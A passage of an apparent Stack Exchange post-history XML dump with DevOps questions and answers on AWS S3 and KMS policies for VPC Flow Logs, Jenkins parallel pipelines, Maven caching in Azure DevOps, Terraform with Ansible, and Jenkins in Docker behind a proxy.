&quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;            &quot;Principal&quot;: {&#xD;&#xA;                &quot;Service&quot;: &quot;delivery.logs.amazonaws.com&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Action&quot;: &quot;s3:GetBucketAcl&quot;,&#xD;&#xA;            &quot;Resource&quot;: &quot;arn:aws:s3:::REDACTED-awslogs&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;            &quot;Sid&quot;: &quot;AWSLogDeliveryWrite&quot;,&#xD;&#xA;            &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;            &quot;Principal&quot;: {&#xD;&#xA;                &quot;Service&quot;: &quot;delivery.logs.amazonaws.com&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Action&quot;: &quot;s3:PutObject&quot;,&#xD;&#xA;            &quot;Resource&quot;: [&#xD;&#xA;                &quot;arn:aws:s3:::REDACTED-awslogs/*&quot;,&#xD;&#xA;                &quot;arn:aws:s3:::REDACTED-awslogs/AWSLogs/REDACTED/*&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;Condition&quot;: {&#xD;&#xA;                &quot;StringEquals&quot;: {&#xD;&#xA;                    &quot;s3:x-amz-acl&quot;: &quot;bucket-owner-full-control&quot;&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;### KMS Key Policy&#xD;&#xA;&#xD;&#xA;KMS key policy includes a statement that allows usage by VPC Flow logs as instructed by [Required CMK key policy for use with SSE-KMS buckets](https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs-s3.html#flow-logs-s3-cmk-policy).&#xD;&#xA;&#xD;&#xA;        {&#xD;&#xA;            &quot;Sid&quot;: &quot;Allow VPC Flow Logs to use the key&quot;,&#xD;&#xA;            &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;            &quot;Principal&quot;: {&#xD;&#xA;                &quot;Service&quot;: &quot;delivery.logs.amazonaws.com&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Action&quot;: [&#xD;&#xA;                &quot;kms:ReEncrypt&quot;,&#xD;&#xA;                &quot;kms:GenerateDataKey&quot;,&#xD;&#xA;                &quot;kms:Encrypt&quot;,&#xD;&#xA;                &quot;kms:DescribeKey&quot;,&#xD;&#xA;                &quot;kms:Decrypt&quot;&#xD;&#xA;            ]&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I'm at a loss here. What else can I do to troubleshoot this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/F1FAY.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/zPWp4.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="35559" PostHistoryTypeId="2" PostId="11624" RevisionGUID="14b41b54-598d-4d3d-ad2b-3fc6fb7e8207" CreationDate="2020-05-15T18:05:56.993" UserId="7770" Text="Turns out I was missing one very important line in my KMS key policy:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    resources = [&quot;*&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now it works fine, and my full policy looks like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;    &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;    &quot;Statement&quot;: [&#xD;&#xA;        {&#xD;&#xA;            &quot;Sid&quot;: &quot;Allow VPC Flow Logs to use the key&quot;,&#xD;&#xA;            &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;            &quot;Principal&quot;: {&#xD;&#xA;                &quot;Service&quot;: &quot;delivery.logs.amazonaws.com&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Action&quot;: [&#xD;&#xA;                &quot;kms:ReEncrypt&quot;,&#xD;&#xA;                &quot;kms:GenerateDataKey&quot;,&#xD;&#xA;                &quot;kms:Encrypt&quot;,&#xD;&#xA;                &quot;kms:DescribeKey&quot;,&#xD;&#xA;                &quot;kms:Decrypt&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;Resource&quot;: &quot;*&quot;&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="35560" PostHistoryTypeId="2" PostId="11625" RevisionGUID="e514a9ca-b1e0-416b-a559-bab9622dab6d" CreationDate="2020-05-15T18:09:08.513" UserId="22296" Text="I have a pipeline script that executes child jobs in parallel.&#xD;&#xA;&#xD;&#xA;Say I have 5 data (a,b,c,d,e) that has to be executed on 3 jobs (J1, J2, J3)&#xD;&#xA;&#xD;&#xA;My pipeline script is in the below format&#xD;&#xA;&#xD;&#xA;for (int i = 0; i &lt; size; i++) {&#xD;&#xA;  def index = i &#xD;&#xA;  branches[&quot;branch${i}&quot;] = {&#xD;&#xA;    build job: 'SampleJob', parameters: [&#xD;&#xA;      string(name: 'param1', value:'${data}'),&#xD;&#xA;      string(name:'dummy', value: &quot;${index}&quot;)]&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;parallel branches&#xD;&#xA;&#xD;&#xA;My problem is, say the execution is happening on Job 1 with the data 1,2,3,4,5 and if the data 3 execution is failed on Job 1 then the data 3 execution should be stopped there itself and should not happen on the subsequent parallel execution on Jobs 2 and 3. &#xD;&#xA;&#xD;&#xA;Is there any way that I can read the execution status of parallelly execution job status on the Pipeline script so that I can restrict data 3 execution to block in Jobs 2 and 3.&#xD;&#xA;&#xD;&#xA;I am quite blocked here for a long time. Hoping for a solution from my community. Thanks a lot in advance.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35561" PostHistoryTypeId="1" PostId="11625" RevisionGUID="e514a9ca-b1e0-416b-a559-bab9622dab6d" CreationDate="2020-05-15T18:09:08.513" UserId="22296" Text="How can I retrieve the execution status of parallel triggered child jobs to a pipeline script" ContentLicense="CC BY-SA 4.0" />
  <row Id="35562" PostHistoryTypeId="3" PostId="11625" RevisionGUID="e514a9ca-b1e0-416b-a559-bab9622dab6d" CreationDate="2020-05-15T18:09:08.513" UserId="22296" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35564" PostHistoryTypeId="2" PostId="11627" RevisionGUID="b1a9005a-6a62-44d2-9b46-64cdb46e71e7" CreationDate="2020-05-15T18:45:39.970" UserId="22281" Text="My question is: Is there a way to use cached dependencies from a volume or something like this when I compile using Azure Devops Pipeline?&#xD;&#xA;&#xD;&#xA;As I understand it, I can use an **Artifact**, using a **Feed**&#xD;&#xA;&#xD;&#xA;I configured my POM.xml to use my repository on the Azure, all dependencies are still downloaded, even from Maven Central, some are from my **Artifact**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;azure-pipelines.yml  &#xD;&#xA;```yml&#xD;&#xA;# Maven&#xD;&#xA;# Build your Java project and run tests with Apache Maven.&#xD;&#xA;# Add steps that analyze code, save build artifacts, deploy, and more:&#xD;&#xA;# https://docs.microsoft.com/azure/devops/pipelines/languages/java&#xD;&#xA;&#xD;&#xA;trigger:&#xD;&#xA;- master&#xD;&#xA;&#xD;&#xA;pool:&#xD;&#xA;  vmImage: 'ubuntu-latest'&#xD;&#xA;&#xD;&#xA;steps:&#xD;&#xA;- task: Maven@3&#xD;&#xA;  inputs:&#xD;&#xA;    mavenPomFile: 'pom.xml'&#xD;&#xA;    mavenOptions: '-Xmx3072m'&#xD;&#xA;    javaHomeOption: 'JDKVersion'&#xD;&#xA;    jdkVersionOption: '1.8'&#xD;&#xA;    jdkArchitectureOption: 'x64'&#xD;&#xA;    publishJUnitResults: true&#xD;&#xA;    testResultsFiles: '**/surefire-reports/TEST-*.xml'&#xD;&#xA;    goals: 'clean package'&#xD;&#xA;    codeCoverageToolOption: JaCoCo&#xD;&#xA;    sonarQubeRunAnalysis: false&#xD;&#xA;- task: PublishPipelineArtifact@1&#xD;&#xA;  inputs:&#xD;&#xA;    targetPath: '$(Pipeline.Workspace)'&#xD;&#xA;    publishLocation: 'pipeline'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;POM.xml  &#xD;&#xA;```xml&#xD;&#xA;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;&lt;project ...&#xD;&#xA;...&#xD;&#xA;	&lt;repositories&gt;&#xD;&#xA;		&lt;repository&gt;&#xD;&#xA;		  &lt;id&gt;dependencias&lt;/id&gt;&#xD;&#xA;		  &lt;url&gt;https://pkgs.dev.azure.com/myusername/myproject/_packaging/dependencias/maven/v1&lt;/url&gt;&#xD;&#xA;		  &lt;releases&gt;&#xD;&#xA;		    &lt;enabled&gt;true&lt;/enabled&gt;&#xD;&#xA;		  &lt;/releases&gt;&#xD;&#xA;		  &lt;snapshots&gt;&#xD;&#xA;		    &lt;enabled&gt;true&lt;/enabled&gt;&#xD;&#xA;		  &lt;/snapshots&gt;&#xD;&#xA;		&lt;/repository&gt;&#xD;&#xA;	&lt;/repositories&gt;&#xD;&#xA;	&#xD;&#xA;	  &lt;distributionManagement&gt;&#xD;&#xA;		&lt;repository&gt;&#xD;&#xA;		  &lt;id&gt;dependencias&lt;/id&gt;&#xD;&#xA;		  &lt;url&gt;https://pkgs.dev.azure.com/myusername/myproject/_packaging/dependencias/maven/v1&lt;/url&gt;&#xD;&#xA;		  &lt;releases&gt;&#xD;&#xA;		    &lt;enabled&gt;true&lt;/enabled&gt;&#xD;&#xA;		  &lt;/releases&gt;&#xD;&#xA;		  &lt;snapshots&gt;&#xD;&#xA;		    &lt;enabled&gt;true&lt;/enabled&gt;&#xD;&#xA;		  &lt;/snapshots&gt;&#xD;&#xA;		&lt;/repository&gt;&#xD;&#xA;	  &lt;/distributionManagement&gt;&#xD;&#xA;...&#xD;&#xA;&lt;/project&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```xml&#xD;&#xA;&lt;settings xmlns=&quot;http://maven.apache.org/SETTINGS/1.0.0&quot;&#xD;&#xA;          xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&#xD;&#xA;          xsi:schemaLocation=&quot;http://maven.apache.org/SETTINGS/1.0.0&#xD;&#xA;                              https://maven.apache.org/xsd/settings-1.0.0.xsd&quot;&gt;&#xD;&#xA;  &lt;servers&gt;&#xD;&#xA;&#xD;&#xA;    &lt;server&gt;&#xD;&#xA;      &lt;id&gt;dependencias&lt;/id&gt;&#xD;&#xA;      &lt;username&gt;myusername&lt;/username&gt;&#xD;&#xA;      &lt;password&gt;...my personal access token...&lt;/password&gt;&#xD;&#xA;    &lt;/server&gt;&#xD;&#xA;&#xD;&#xA;  &lt;/servers&gt;&#xD;&#xA;&lt;/settings&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This is a snippet of my pipeline execution log:  &#xD;&#xA;&#xD;&#xA;&gt; 2020-05-15T04:49:24.6975153Z [INFO] Scanning for projects...&#xD;&#xA;&gt; 2020-05-15T04:49:25.0216544Z Downloading from dependencias:&#xD;&#xA;&gt; https://pkgs.dev.azure.com/myusername/myproject/_packaging/dependencias/maven/v1/org/springframework/boot/spring-boot-starter-parent/2.2.2.RELEASE/spring-boot-starter-parent-2.2.2.RELEASE.pom&#xD;&#xA;&gt; 2020-05-15T04:49:25.4738455Z Downloading from central:&#xD;&#xA;&gt; https://repo.maven.apache.org/maven2/org/springframework/boot/spring-boot-starter-parent/2.2.2.RELEASE/spring-boot-starter-parent-2.2.2.RELEASE.pom&#xD;&#xA;&gt; 2020-05-15T04:49:26.0133687Z Progress (1): 2.7/8.1 kB&#xD;&#xA;&gt; 2020-05-15T04:49:26.0158004Z Progress (1): 5.5/8.1 kB&#xD;&#xA;&gt; 2020-05-15T04:49:26.1497356Z Progress (1): 8.1 kB    &#xD;&#xA;&gt; 2020-05-15T04:49:26.1500007Z                     &#xD;&#xA;&gt; 2020-05-15T04:49:26.1521165Z Downloaded from central:&#xD;&#xA;&gt; https://repo.maven.apache.org/maven2/org/springframework/boot/spring-boot-starter-parent/2.2.2.RELEASE/spring-boot-starter-parent-2.2.2.RELEASE.pom&#xD;&#xA;&gt; (8.1 kB at 12 kB/s) 2020-05-15T04:49:26.1663713Z Downloading from&#xD;&#xA;&gt; dependencias:&#xD;&#xA;&gt; https://pkgs.dev.azure.com/myusername/myproject/_packaging/dependencias/maven/v1/org/springframework/boot/spring-boot-dependencies/2.2.2.RELEASE/spring-boot-dependencies-2.2.2.RELEASE.pom 2020-05-15T04:49:26.2650350Z Downloading from central:&#xD;&#xA;&gt; https://repo.maven.apache.org/maven2/org/springframework/boot/spring-boot-dependencies/2.2.2.RELEASE/spring-boot-dependencies-2.2.2.RELEASE.pom&#xD;&#xA;&gt; ....  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; ....   &#xD;&#xA;&gt; 2020-05-15T04:50:11.8737179Z Downloading from dependencias:&#xD;&#xA;&gt; https://pkgs.dev.azure.com/myusername/myproject/_packaging/dependencias/maven/v1/net/minidev/accessors-smart/1.2/accessors-smart-1.2.jar&#xD;&#xA;&gt; 2020-05-15T04:50:11.8745391Z Downloading from dependencias:&#xD;&#xA;&gt; https://pkgs.dev.azure.com/myusername/myproject/_packaging/dependencias/maven/v1/org/ow2/asm/asm/5.0.4/asm-5.0.4.jar&#xD;&#xA;&gt; 2020-05-15T04:50:11.8768272Z Downloading from dependencias:&#xD;&#xA;&gt; https://pkgs.dev.azure.com/myusername/myproject/_packaging/dependencias/maven/v1/org/slf4j/slf4j-api/1.7.29/slf4j-api-1.7.29.jar&#xD;&#xA;&gt; ....  &#xD;&#xA;&gt; &#xD;&#xA;&gt; &#xD;&#xA;&gt; &#xD;&#xA;&gt; ...  &#xD;&#xA;&gt; 2020-05-15T04:50:14.8599776Z Downloaded from central:&#xD;&#xA;&gt; https://repo.maven.apache.org/maven2/com/fasterxml/classmate/1.5.1/classmate-1.5.1.jar&#xD;&#xA;&gt; (68 kB at 26 kB/s) 2020-05-15T04:50:14.8601057Z Downloading from&#xD;&#xA;&gt; central:&#xD;&#xA;&gt; https://repo.maven.apache.org/maven2/org/springframework/spring-webmvc/5.2.2.RELEASE/spring-webmvc-5.2.2.RELEASE.jar&#xD;&#xA;&gt; ...&#xD;&#xA;&gt; 2020-05-15T04:50:15.6253097Z Downloaded from central:&#xD;&#xA;&gt; https://repo.maven.apache.org/maven2/org/springframework/boot/spring-boot-test/2.2.2.RELEASE/spring-boot-test-2.2.2.RELEASE.jar&#xD;&#xA;&gt; (210 kB at 63 kB/s) 2020-05-15T04:50:15.6262843Z Downloading from&#xD;&#xA;&gt; central:&#xD;&#xA;&gt; https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.7.29/slf4j-api-1.7.29.jar&#xD;&#xA;&gt; ...&#xD;&#xA;&gt; 2020-05-15T04:50:16.0383402Z Downloading from central:&#xD;&#xA;&gt; https://repo.maven.apache.org/maven2/org/junit/platform/junit-platform-commons/1.5.2/junit-platform-commons-1.5.2.jar&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/adP3E.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="35565" PostHistoryTypeId="1" PostId="11627" RevisionGUID="b1a9005a-6a62-44d2-9b46-64cdb46e71e7" CreationDate="2020-05-15T18:45:39.970" UserId="22281" Text="Using my own Maven repository (cached dependencies) for pipelines in Azure Devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="35566" PostHistoryTypeId="3" PostId="11627" RevisionGUID="b1a9005a-6a62-44d2-9b46-64cdb46e71e7" CreationDate="2020-05-15T18:45:39.970" UserId="22281" Text="&lt;azure-pipelines&gt;&lt;maven&gt;&lt;repository&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35567" PostHistoryTypeId="5" PostId="11627" RevisionGUID="636b809e-703a-4fbd-bb2c-7a4dadb60c83" CreationDate="2020-05-15T19:01:41.653" UserId="22281" Comment="deleted 4337 characters in body" Text="My question is: Is there a way to use cached dependencies from a volume or something like this when I compile using Azure Devops Pipeline?&#xD;&#xA;&#xD;&#xA;Is it possible to change something in the pipeline for maven to get the local repository of some volume? Today I see that it takes from this folder: `/home/vsts/.m2/repository/`&#xD;&#xA;&#xD;&#xA;Every execution maven downloads all dependencies&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;azure-pipelines.yml  &#xD;&#xA;```yml&#xD;&#xA;# Maven&#xD;&#xA;# Build your Java project and run tests with Apache Maven.&#xD;&#xA;# Add steps that analyze code, save build artifacts, deploy, and more:&#xD;&#xA;# https://docs.microsoft.com/azure/devops/pipelines/languages/java&#xD;&#xA;&#xD;&#xA;trigger:&#xD;&#xA;- master&#xD;&#xA;&#xD;&#xA;pool:&#xD;&#xA;  vmImage: 'ubuntu-latest'&#xD;&#xA;&#xD;&#xA;steps:&#xD;&#xA;- task: Maven@3&#xD;&#xA;  inputs:&#xD;&#xA;    mavenPomFile: 'pom.xml'&#xD;&#xA;    mavenOptions: '-Xmx3072m'&#xD;&#xA;    javaHomeOption: 'JDKVersion'&#xD;&#xA;    jdkVersionOption: '1.8'&#xD;&#xA;    jdkArchitectureOption: 'x64'&#xD;&#xA;    publishJUnitResults: true&#xD;&#xA;    testResultsFiles: '**/surefire-reports/TEST-*.xml'&#xD;&#xA;    goals: 'clean package'&#xD;&#xA;    codeCoverageToolOption: JaCoCo&#xD;&#xA;    sonarQubeRunAnalysis: false&#xD;&#xA;- task: PublishPipelineArtifact@1&#xD;&#xA;  inputs:&#xD;&#xA;    targetPath: '$(Pipeline.Workspace)'&#xD;&#xA;    publishLocation: 'pipeline'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/adP3E.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="35569" PostHistoryTypeId="5" PostId="11627" RevisionGUID="7be817de-9801-487d-acd8-ed2956580c8d" CreationDate="2020-05-15T19:37:56.687" UserId="22281" Comment="deleted 41 characters in body; edited title" Text="I want to avoid maven downloading all dependencies from a remote repository in all build  &#xD;&#xA;&#xD;&#xA;I configured a cache, but all executions still download all dependencies.  &#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;azure-pipelines.yml  &#xD;&#xA;```yml&#xD;&#xA;trigger:&#xD;&#xA;- master&#xD;&#xA;&#xD;&#xA;pool:&#xD;&#xA;  vmImage: 'ubuntu-latest'&#xD;&#xA;&#xD;&#xA;variables:&#xD;&#xA;  MAVEN_CACHE_FOLDER: $(Pipeline.Workspace)/.m2/repository&#xD;&#xA;  MAVEN_OPTS: '-Dmaven.repo.local=$(MAVEN_CACHE_FOLDER)'&#xD;&#xA;&#xD;&#xA;steps:&#xD;&#xA;- task: Maven@3&#xD;&#xA;  inputs:&#xD;&#xA;    mavenPomFile: 'pom.xml'&#xD;&#xA;    mavenOptions: '-Xmx3072m'&#xD;&#xA;    javaHomeOption: 'JDKVersion'&#xD;&#xA;    jdkVersionOption: '1.8'&#xD;&#xA;    jdkArchitectureOption: 'x64'&#xD;&#xA;    publishJUnitResults: true&#xD;&#xA;    testResultsFiles: '**/surefire-reports/TEST-*.xml'&#xD;&#xA;    goals: 'clean package'&#xD;&#xA;    codeCoverageToolOption: JaCoCo&#xD;&#xA;    sonarQubeRunAnalysis: false&#xD;&#xA;- task: PublishPipelineArtifact@1&#xD;&#xA;  inputs:&#xD;&#xA;    targetPath: '$(Pipeline.Workspace)'&#xD;&#xA;    publishLocation: 'pipeline'&#xD;&#xA;- task: Cache@2&#xD;&#xA;  inputs:&#xD;&#xA;    key: 'maven | &quot;$(Agent.OS)&quot; | **/pom.xml'&#xD;&#xA;    restoreKeys: |&#xD;&#xA;      maven | &quot;$(Agent.OS)&quot;&#xD;&#xA;      maven&#xD;&#xA;    path: $(MAVEN_CACHE_FOLDER)&#xD;&#xA;  displayName: Cache Maven local repo&#xD;&#xA;&#xD;&#xA;- script: mvn install -B -e&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/adP3E.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="35570" PostHistoryTypeId="4" PostId="11627" RevisionGUID="7be817de-9801-487d-acd8-ed2956580c8d" CreationDate="2020-05-15T19:37:56.687" UserId="22281" Comment="deleted 41 characters in body; edited title" Text="Using cached dependencies for pipelines in Azure Devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="35571" PostHistoryTypeId="2" PostId="11628" RevisionGUID="d30f87b3-4a2c-44a9-bafd-14626e951b23" CreationDate="2020-05-15T19:47:53.217" UserId="22281" Text="I forgot to add a MAVEN_OPTS variable in mavenOptions:  &#xD;&#xA;    `mavenOptions: '-Xmx3072m $(MAVEN_OPTS)'`&#xD;&#xA;&#xD;&#xA;My pipeline.yml stayed like this:  &#xD;&#xA;&#xD;&#xA;```yml&#xD;&#xA;trigger:&#xD;&#xA;- master&#xD;&#xA;&#xD;&#xA;pool:&#xD;&#xA;  vmImage: 'ubuntu-latest'&#xD;&#xA;&#xD;&#xA;variables:&#xD;&#xA;  MAVEN_CACHE_FOLDER: $(Pipeline.Workspace)/.m2/repository&#xD;&#xA;  MAVEN_OPTS: '-Dmaven.repo.local=$(MAVEN_CACHE_FOLDER)'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;steps:&#xD;&#xA;&#xD;&#xA;- task: Cache@2&#xD;&#xA;  inputs:&#xD;&#xA;    key: 'maven | &quot;$(Agent.OS)&quot; | **/pom.xml'&#xD;&#xA;    restoreKeys: |&#xD;&#xA;      maven | &quot;$(Agent.OS)&quot;&#xD;&#xA;      maven&#xD;&#xA;    path: $(MAVEN_CACHE_FOLDER)&#xD;&#xA;  displayName: Cache Maven local repo&#xD;&#xA;&#xD;&#xA;- task: Maven@3&#xD;&#xA;  inputs:&#xD;&#xA;    mavenPomFile: 'pom.xml'&#xD;&#xA;    mavenOptions: '-Xmx3072m $(MAVEN_OPTS)'&#xD;&#xA;    javaHomeOption: 'JDKVersion'&#xD;&#xA;    jdkVersionOption: '1.8'&#xD;&#xA;    jdkArchitectureOption: 'x64'&#xD;&#xA;    publishJUnitResults: true&#xD;&#xA;    testResultsFiles: '**/surefire-reports/TEST-*.xml'&#xD;&#xA;    goals: 'clean package'&#xD;&#xA;    codeCoverageToolOption: JaCoCo&#xD;&#xA;    sonarQubeRunAnalysis: false&#xD;&#xA;- task: PublishPipelineArtifact@1&#xD;&#xA;  inputs:&#xD;&#xA;    targetPath: '$(Pipeline.Workspace)'&#xD;&#xA;    publishLocation: 'pipeline'&#xD;&#xA;&#xD;&#xA;- script: mvn install -B -e&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="35573" PostHistoryTypeId="2" PostId="11629" RevisionGUID="c5f25d3a-f4a2-4924-94c1-49b2e9242ea8" CreationDate="2020-05-15T22:55:57.733" UserId="22298" Text="Ok so I am totally new to `devops`! I am an experienced developer, but at my new job I have been tasked to automate CI/CD. Non-existing so far. Only CI with Travis.&#xD;&#xA;&#xD;&#xA;So the ideal workflow is:&#xD;&#xA;Push to CI -&gt; build -&gt; if successful provision an EC2 instance -&gt; run integration tests &#xD;&#xA;&#xD;&#xA;Our ideal architecture is to use `terraform` for provisioning and `ansible` for automation/config management. Scenarios down the road foresee continuous deployment and more stuff. So I need to get the basic building blocks right. This workflow seems like a good start.&#xD;&#xA;&#xD;&#xA;I've searched for tutorials all day and, being beginner, I am totally confused. &#xD;&#xA;&#xD;&#xA;As the goal is to fully automate the process, I am naively assuming that the ansible playbook would call a terraform provisioning role/task, and then continue by running all the steps for the integration tests.&#xD;&#xA;&#xD;&#xA;But all I have found says to always run `terraform init` first and then `terraform apply` before switching to run a playbook, which seems cumbersome and not that &quot;automated&quot;.&#xD;&#xA;&#xD;&#xA;Can someone point me to a good resource describing how I can setup my desired workflow? Am I understanding things wrong?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35574" PostHistoryTypeId="1" PostId="11629" RevisionGUID="c5f25d3a-f4a2-4924-94c1-49b2e9242ea8" CreationDate="2020-05-15T22:55:57.733" UserId="22298" Text="Run integration test with ansible playbook using terraform provisioning" ContentLicense="CC BY-SA 4.0" />
  <row Id="35575" PostHistoryTypeId="3" PostId="11629" RevisionGUID="c5f25d3a-f4a2-4924-94c1-49b2e9242ea8" CreationDate="2020-05-15T22:55:57.733" UserId="22298" Text="&lt;ansible&gt;&lt;continuous-integration&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35576" PostHistoryTypeId="2" PostId="11630" RevisionGUID="62f8f474-9efc-411a-8c0e-dcd40c5f631a" CreationDate="2020-05-15T23:43:01.790" UserId="22299" Text="For the past few days I’ve been scratching my head trying to get the Jenkins docker image to work&#xD;&#xA;&#xD;&#xA;The issue appears to be a proxy issue.&#xD;&#xA;&#xD;&#xA;&gt; OS: Ubuntu 16.04 LTS  &#xD;&#xA;&gt; &#xD;&#xA;&gt; Running behind work proxy &#xD;&#xA;&gt; &#xD;&#xA;&gt; Docker version 19.03.5, build 633a0ea838 &#xD;&#xA;&gt; &#xD;&#xA;&gt; Jenkins:https://hub.docker.com/_/jenkins/&#xD;&#xA;&#xD;&#xA;When I run the following command, I can’t access jenkins on localhost:7000&#xD;&#xA;&#xD;&#xA;    docker run --name myjenkins -p 7000:8000 -p 50000:50000 -v /var/jenkins_home jenkins&#xD;&#xA;&#xD;&#xA;However I can with the following command&#xD;&#xA;&#xD;&#xA;    docker run --name myjenkins -p 7000:8080 -p 50000:50000 --env HTTP_PROXY=“http:// localhost:8080” --env HTTPS_PROXY=“https:// localhost:8080” -v /var/jenkins_home jenkins&#xD;&#xA;&#xD;&#xA;The issue is, with the second command, I can access the jenkins but I can’t install plugins and it asks me to configure the proxy&#xD;&#xA;Setting the proxy in the UI didn’t work&#xD;&#xA;&#xD;&#xA;My understanding is that Jenkins look for port 8080 by default and because in the command above I’m using port 7000, this is preventing Jenkins from connecting to the internet (correct me if I’m wrong)&#xD;&#xA;&#xD;&#xA;So what I did was download the Dockerfile for Jenkins and changed the port from 8080 to 7000&#xD;&#xA;&#xD;&#xA;**[Dockerfile][1]**&#xD;&#xA;&#xD;&#xA;I am now attempting to build the image with the following command&#xD;&#xA;&#xD;&#xA;    docker build --tag jenkins:1.0 .&#xD;&#xA;&#xD;&#xA;I get the following error&#xD;&#xA;&#xD;&#xA;    curl: (7) Failed to connect to github. com port 443: Connection timed out&#xD;&#xA;    The command ‘/bin/sh -c curl -fsSL https:// github. com/krallin/tini/releases/download/v${TINI_VERSION}/tini-static-amd64 -o /bin/tini &amp;&amp; chmod +x /bin/tini &amp;&amp; echo “$TINI_SHA /bin/tini” | sha256sum -c -’ returned a non-zero code: 7&#xD;&#xA;&#xD;&#xA;I suspect, this is a proxy issue and I did put proxy arguments in the Dockerfile but not sure if this is what I need to do or whether I’m doing it correctly&#xD;&#xA;&#xD;&#xA;Any idea what could be the solution?&#xD;&#xA;&#xD;&#xA;Thank you&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/docker/blob/587b2856cd225bb152c4abeeaaa24934c75aa460/Dockerfile&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35577" PostHistoryTypeId="1" PostId="11630" RevisionGUID="62f8f474-9efc-411a-8c0e-dcd40c5f631a" CreationDate="2020-05-15T23:43:01.790" UserId="22299" Text="how to run Docker/Jenkins behind a proxy" ContentLicense="CC BY-SA 4.0" />
  <row Id="35578" PostHistoryTypeId="3" PostId="11630" RevisionGUID="62f8f474-9efc-411a-8c0e-dcd40c5f631a" CreationDate="2020-05-15T23:43:01.790" UserId="22299" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35609" PostHistoryTypeId="2" PostId="11631" RevisionGUID="d95c4ce0-589a-4c76-a82c-022a86ae424c" CreationDate="2020-05-16T08:15:07.183" UserId="6544" Text="You are right about Terraform having a plan-apply cycle which may not be that conducive to automation. The following has worked for me in similar situations:&#xD;&#xA;&#xD;&#xA;1. Use Terraform to &quot;develop&quot; new versions of a base EC2 image. &#xD;&#xA;2. Use Ansible playbooks to provision EC2 instances off a specific version of the image and run tests on them." ContentLicense="CC BY-SA 4.0" />
  <row Id="35610" PostHistoryTypeId="5" PostId="11630" RevisionGUID="c29468e9-8f5a-4f50-8649-a1138baf8065" CreationDate="2020-05-16T12:25:45.263" UserId="22299" Comment="typo" Text="For the past few days I’ve been scratching my head trying to get the Jenkins docker image to work&#xD;&#xA;&#xD;&#xA;The issue appears to be a proxy issue.&#xD;&#xA;&#xD;&#xA;&gt; OS: Ubuntu 16.04 LTS  &#xD;&#xA;&gt; &#xD;&#xA;&gt; Running behind work proxy &#xD;&#xA;&gt; &#xD;&#xA;&gt; Docker version 19.03.5, build 633a0ea838 &#xD;&#xA;&gt; &#xD;&#xA;&gt; Jenkins:https://hub.docker.com/_/jenkins/&#xD;&#xA;&#xD;&#xA;When I run the following command, I can’t access jenkins on localhost:7000&#xD;&#xA;&#xD;&#xA;    docker run --name myjenkins -p 7000:8080 -p 50000:50000 -v /var/jenkins_home jenkins&#xD;&#xA;&#xD;&#xA;However I can with the following command&#xD;&#xA;&#xD;&#xA;    docker run --name myjenkins -p 